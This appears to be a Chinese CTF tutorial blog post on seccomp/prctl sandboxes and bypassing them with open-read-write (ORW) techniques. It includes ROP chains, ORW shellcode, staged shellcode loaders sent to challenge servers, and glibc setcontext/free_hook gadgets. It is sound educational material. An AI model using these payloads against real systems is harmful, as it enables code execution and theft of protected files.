沙盒
什么是orw?
所谓orw就是open read write 打开flag 写入flag 输出flag
什么是seccomp?
seccomp: seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如程序劫持程序流后通过execve的syscall来getshell。所以可以通过seccomp_init、seccomp_rule_add、seccomp_load配合 或者prctl来ban掉一些系统调用.
在实战中我们可以通过 seccomp-tools
来查看程序是否启用了沙箱, seccomp-tools
工具安装方法如下:
1 2
| $ sudo apt install gcc ruby-dev $ gem install seccomp-tools
|
安装完成后通过 seccomp-tools dump ./pwn
即可查看程序沙箱
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| q@ubuntu:~$ seccomp-tools dump ./not line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009 0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009 0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
|
怎么读取?
该规则描述了一个程序的系统调用过滤策略。它的逻辑如下:
- 检查架构是否为 x86_64(ARCH_X86_64)。如果不是,跳转到标签 0010。
- 获取系统调用号(sys_number)。
- 如果系统调用号小于 0x40000000,跳转到标签 0005。
- 如果系统调用号不等于 0xffffffff,跳转到标签 0010。
- 如果系统调用号是 read,则跳转到标签 0009。
- 如果系统调用号是 write,则跳转到标签 0009。
- 如果系统调用号是 open,则跳转到标签 0009。
- 如果系统调用号不是 exit,则跳转到标签 0010。
- 返回允许执行该系统调用。
- 返回拒绝执行该系统调用(终止进程)。
怎么实现沙盒?
在ctf中常见的实现沙箱的机制有两种,一种是prctl函数调用
,另一种就是seccomp库函数
而其一般都会禁用execve函数,使之无法直接getshell
在严格模式下甚至只支持exit(),sigreturn(),read()和write()的使用,使用其他系统调用都将会杀掉进程
prctl函数调用
可以通过第一个参数控制程序进程去做什么,该参数常见得为38
和22
两种情况
1
| prctl(38, 1LL, 0LL, 0LL, 0LL);
|
- 第一个参数为38,第二个参数为1时,禁用execve且子进程一样
- 第一个参数为22
- 第二个参数为1时,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
- 第二个参数为2时,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则
seccomp
首先对seccomp进行初始化
- 为0表示白名单模式,为0x7fff0000U则为黑名单模式
1 2
| seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
|
- v1对应上面初始化后返回得值
- 0x7fff0000U即黑名单模式
- 2对应系统调用号
- 0 对应系统调用所限制使用得参数数量,0即不限制
禁止read函数第一个参数为0的调用的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| #include <stdio.h> #include <unistd.h> #include <seccomp.h> #include <errno.h> __int64_t work() { scmp_filter_ctx v1; int rc; char buf[100]; v1 = seccomp_init(SCMP_ACT_ALLOW);
if(v1==NULL) return 1; rc = seccomp_rule_add_exact(v1, SCMP_ACT_ERRNO(EACCES), SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_EQ, 0)); if(rc<0) return 2; rc = seccomp_load(v1); if(rc<0) return 3; int test; test=read(0,buf,sizeof(buf)); return test; }
int main() { __int64_t result = work(); printf("Result: %ld\n", result); return 0; }
|
编写沙箱规则的shellcode
使用seccomp-tools生成规则,一条规则是8个字节
1 2 3 4 5 6 7 8 9
| A = sys_number A == 257? e0:next A == 1? ok:next return ALLOW e0: return ERRNO(0) ok: return ALLOW
|
规则如下:
1 2 3 4 5 6 7 8 9
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x15 0x02 0x00 0x00000101 if (A == openat) goto 0004 0002: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0005 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0004: 0x06 0x00 0x00 0x00050000 return ERRNO(0) 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
生成16进制字符串
1 2
| "x20x00x00x00x00x00x00x00x15x00x02x00x01x01x00x00x15x00x02x00x01x00x00x00x06x00x00x00x00x00xFFx7Fx06x00x00x00x00x00x05x00x06x00x00x00x00x00xFFx7F"
|
沙盒的绕过
首先复习寄存器的约定:
在64位的x86架构中,函数调用时使用的寄存器约定为:
参数寄存器:
参数 |
寄存器 |
第一个参数 |
RDI |
第二个参数 |
RSI |
第三个参数 |
RDX |
第四个参数 |
RCX |
第五个参数 |
R8 |
第六个参数 |
R9 |
浮点参数存储在 XMM0
到 XMM7
寄存器中。
返回值寄存器:
- 整型返回值存储在寄存器
RAX
中。
- 浮点返回值存储在寄存器
XMM0
中。
其他寄存器:
- 寄存器
RBX
、RBP
、R12
、R13
、R14
、R15
在函数调用期间被视为被调用者保存寄存器,即在函数调用前后需要保持其值不变。
- 寄存器
RSP
用于栈指针。
1.简单栈利用:
通过栈溢出控制程序返回流构造rop链依次执行open、read、write函数。
例题:ciscn2023 烧烤摊
整数溢出后存在栈溢出,栈溢出后orw
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| name_addr = 0x04E60F0
payload = b"/flag\x00" //name即为flag,name_addr = flag_addr payload = payload.ljust(0x28,b'a') payload += p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(r_addr) + p64(fopen64_addr) payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(read_addr) payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(name_addr) + p64(pop_rdx_rbx_ret) + p64(0x30) * 2 + p64(write_addr) io.sendline(payload)
payload = asm(shellcraft.open('/home/ctf/flag.txt') + shellcraft.read(3, bss_addr, 0x300) + shellcraft.write(1, bss_addr, 0x300))
payload = b'/bin/sh\x00' + b'a' * (0x20-0x8) + b'a' * 0x08 + p64(pop_rax_ret) + p64(59) + p64(pop_rdi_ret) + p64(name_addr) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall_addr) io.sendline(payload)
|
NX可以防止攻击者将数据区域(如栈或堆)中的代码作为执行指令
2.orw+shellcode:
针对于NX未开启且禁用execve系统调用的程序,即可以写入shellcode,分两段写入
1
| payload = shellcode1 + p64(ret_addr) + shellcode2
|
第一段写入orw代码,返回地址填入jmp rsp地址,第二段写入控制rsp的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| shellcode1 = asm(shellcraft.cat('flag')) //直接调用cat读取
//或 shellcode = '' shellcode += shellcraft.open('./flag') shellcode += shellcraft.read('eax','esp',0x100) shellcode += shellcraft.write(1,'esp',0x100) payload1 = asm(shellcode)
//或 shellcode1 = asm(''' push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall
mov edi,eax mov rsi,rsp sub rsi,50 xor eax,eax syscall
xor edi,2 #mov dil,1 mov eax,edi #mov al,1 syscall
或 mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall
''') //即调用open、read、write函数
shellcode1 = shellcode1.ljust(offset,b'\x00') //offset = 距离rbp偏移
shellcoe2 = asm('sub rsp,0x30;call rsp') //控制执行流回到初始地方执行shellcode
payload = shellcode1 + p64(jmp rsp_addr) + shellcode2
|
文件标识符中0、1、2是默认打开的接下来打开的会按照3、4、5……这样排列
3、思路
低版本
在 Glibc2.29
以前的 ORW
解题思路已经比较清晰了,主要是劫持 free_hook
或者 malloc_hook
写入 setcontext
函数中的 gadget,通过 rdi
索引,来设置相关寄存器,并执行提前布置好的 ORW ROP chains
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80] <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78] <setcontext+71>: mov r12,QWORD PTR [rdi+0x48] <setcontext+75>: mov r13,QWORD PTR [rdi+0x50] <setcontext+79>: mov r14,QWORD PTR [rdi+0x58] <setcontext+83>: mov r15,QWORD PTR [rdi+0x60] <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8] <setcontext+94>: push rcx <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70] <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88] <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98] <setcontext+113>: mov r8,QWORD PTR [rdi+0x28] <setcontext+117>: mov r9,QWORD PTR [rdi+0x30] <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68] <setcontext+125>: xor eax,eax <setcontext+127>: ret
|
一般是通过free_hook
由于free的时候rdi是可控的,那么就可以在free_hook上放置setcontext的指针,再free的时候就会把可控区域的值填充到寄存器中,从而获得更强大的控制流
高版本
但在 Glibc 2.29
之后 setcontext
中的gadget变成了以 rdx
索引,因此如果我们按照之前思路的话,还要先通过 ROP
控制 RDX
的值,如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| .text:00000000000580DD mov rsp, [rdx+0A0h] .text:00000000000580E4 mov rbx, [rdx+80h] .text:00000000000580EB mov rbp, [rdx+78h] .text:00000000000580EF mov r12, [rdx+48h] .text:00000000000580F3 mov r13, [rdx+50h] .text:00000000000580F7 mov r14, [rdx+58h] .text:00000000000580FB mov r15, [rdx+60h] .text:00000000000580FF test dword ptr fs:48h, 2 .... .text:00000000000581C6 mov rcx, [rdx+0A8h] .text:00000000000581CD push rcx .text:00000000000581CE mov rsi, [rdx+70h] .text:00000000000581D2 mov rdi, [rdx+68h] .text:00000000000581D6 mov rcx, [rdx+98h] .text:00000000000581DD mov r8, [rdx+28h] .text:00000000000581E1 mov r9, [rdx+30h] .text:00000000000581E5 mov rdx, [rdx+88h] .text:00000000000581EC xor eax, eax .text:00000000000581EE retn
|
但是我们很难找到能够直接控制rdx寄存器的gadgets
但是在 getkeyserv_handle+576
,其汇编如下
1 2 3
| mov rdx, [rdi+8] mov [rsp+0C8h+var_C8], rax call qword ptr [rdx+20h]
|
这个 gadget
可以通过 rdi
来控制 rdx
, 非常好用,而且从 Glibc2.29到2.32都可用
控制 rdx
之后,我们就可以通过 setcontext
来控制其他寄存器了
附上本人亲自手绘plus版本的图
地址 |
值 |
地址 |
值 |
rdi |
|
rdi+8h |
RDX |
rdi+10h |
|
rdi+18h |
|
rdi+20h |
|
rdi+28h |
|
前后两张图,大部分时候是会重叠的,取决于可控制区域的大小呢
地址 |
值 |
地址 |
值 |
rdx |
|
rdx+8h |
|
rdx+10h |
|
rdx+18h |
|
rdx+20h |
setcontext的指针 |
rdx+28h |
R8 |
rdx+30h |
R9 |
rdx+38h |
|
rdx+40h |
|
rdx+48h |
R12 |
rdx+50h |
R13 |
rdx+58h |
R14 |
rdx+60h |
R15 |
rdx+68h |
RDI |
rdx+70h |
RSI |
rdx+78h |
RBP |
rdx+80h |
RBX |
rdx+88h |
RDX |
rdx+90h |
|
rdx+98h |
RCX |
rdx+a0h |
RSP |
rdx+a8h |
RCX |
rdx+b0h |
|
rdx+b8h |
|
这里附上学到的程序写法:
1 2 3 4 5 6 7 8 9 10 11 12
| r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x, drop=True) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close() li = lambda x: log.info(x) db = lambda: gdb.attach(p) s = lambda x: p.send(x)
|
这些是定义一个函数,然后lambda后面的是参数,看着挺好用的,第一次学会
simple_shellcode
这种shellcode
题目除了掌握基本的orw_shellcode
外,要时刻关注执行shellcode
前后的寄存器变化,根据寄存器写shellcode
。
- 首先
shellcode
有16
个字节大小的限制,这也就意味着接下来我们要用16
个字节大小限制的shellcode
扩大漏洞利用能力。
- 调试并根据寄存器编写一下
shellcode
,目标是写入更多数据到0xcafe0000
这片空间并执行:
1 2 3 4 5 6 7 8 9
| shellcode1=asm(''' mov rdi,rax mov rsi,rdx mov edx,0x100 syscall call rsi nop ''') print(len(shellcode1))
|
- 而后就是编写常规的
orw
的shellcode
,注意开头需要多写一些nop
,否则写出的就不是目标flag
,猜测是控制相关问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| shellcode2=asm(''' nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop push 0x67616c66 ##flag## mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| rom pwn import *
io=remote("week-1.hgame.lwsec.cn",31266) context.arch='amd64'
shellcode2=asm(''' nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall ''')
shellcode1=asm(''' mov rdi,rax mov rsi,rdx mov edx,0x100 syscall call rsi nop ''') print(len(shellcode1)) io.send(shellcode1)
io.send(shellcode2) io.interactive()
|
或者:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import *
p=remote('1.14.71.254',28371) elf = ELF('./vuln') context.log_level = 'debug'
context.terminal = ["konsole", "-e"] context.arch = "amd64" r = lambda x: p.recv(x) ra = lambda: p.recvall() rl = lambda: p.recvline(keepends=True) ru = lambda x: p.recvuntil(x, drop=True) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) ia = lambda: p.interactive() c = lambda: p.close() li = lambda x: log.info(x) db = lambda: gdb.attach(p) s = lambda x: p.send(x)
shellcode = asm(""" xor eax,eax xor edi,edi mov edx,0x1000 mov esi,0xcafe0000 syscall """) sa("Please input your shellcode:",shellcode) shellcode = b"\x90" * 0x100 shellcode += asm(shellcraft.open("/flag")) shellcode += asm(shellcraft.read(3,0xcafe0100,0x100)) shellcode += asm(shellcraft.write(1,0xcafe0100,0x100)) s(shellcode) ia()
|
参考:
PWN堆溢出技巧:ORW的解题手法与万金油Gadgets-安全客 - 安全资讯平台 (anquanke.com)
Pwn-浅谈orw利用 | 此间的少年 (gitee.io)
orw入门报告 - ㅤ浮虚千年 - 博客园 (cnblogs.com)